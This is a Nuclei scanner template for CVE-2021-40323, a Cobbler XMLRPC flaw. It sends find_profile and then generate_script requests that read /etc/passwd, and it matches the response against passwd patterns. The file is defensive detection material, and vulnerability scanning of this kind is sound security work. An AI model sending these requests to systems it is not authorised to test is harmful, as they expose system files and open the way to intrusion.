nuclei-templates/http/cves/2021/CVE-2021-40323.yaml

109 lines
3.1 KiB
YAML
Raw Normal View History

id: CVE-2021-40323
info:
name: Cobbler <3.3.0 - Remote Code Execution
author: c-sh0
severity: critical
description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
reference:
- https://github.com/cobbler/cobbler/releases/tag/v3.3.0
- https://github.com/cobbler/cobbler/issues/2795
- https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2021-40323
2023-07-11 19:49:27 +00:00
- https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-40323
cwe-id: CWE-94
epss-score: 0.02175
epss-percentile: 0.88161
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: cobbler_project
product: cobbler
2023-12-05 09:50:33 +00:00
tags: cve,cve2021,cobbler,rce,cobbler_project
http:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>find_profile</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>name</name>
<value>
<string>*</string>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>generate_script</methodName>
<params>
<param>
<value>
<string>{{profile}}</string>
</value>
</param>
<param>
<value>
<string></string>
</value>
</param>
<param>
<value>
<string>/etc/passwd</string>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'text/xml'
- type: regex
regex:
- "root:.*:0"
- "bin:.*:1"
- "nobody:.*:99"
condition: or
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
extractors:
- type: regex
name: profile
group: 1
regex:
- '<value><string>(.*?)</string></value>'
internal: true
# digest: 4b0a00483046022100c086139ee711434a0623741071fdb455e6f4c791eb82e5dd0433f8fa54e612c80221009faf49ae2bc0d87ee6fc943343c7b840a6cae8f317184a43167090c9107eefc6:922c64590222798bb761d5b6d8e72950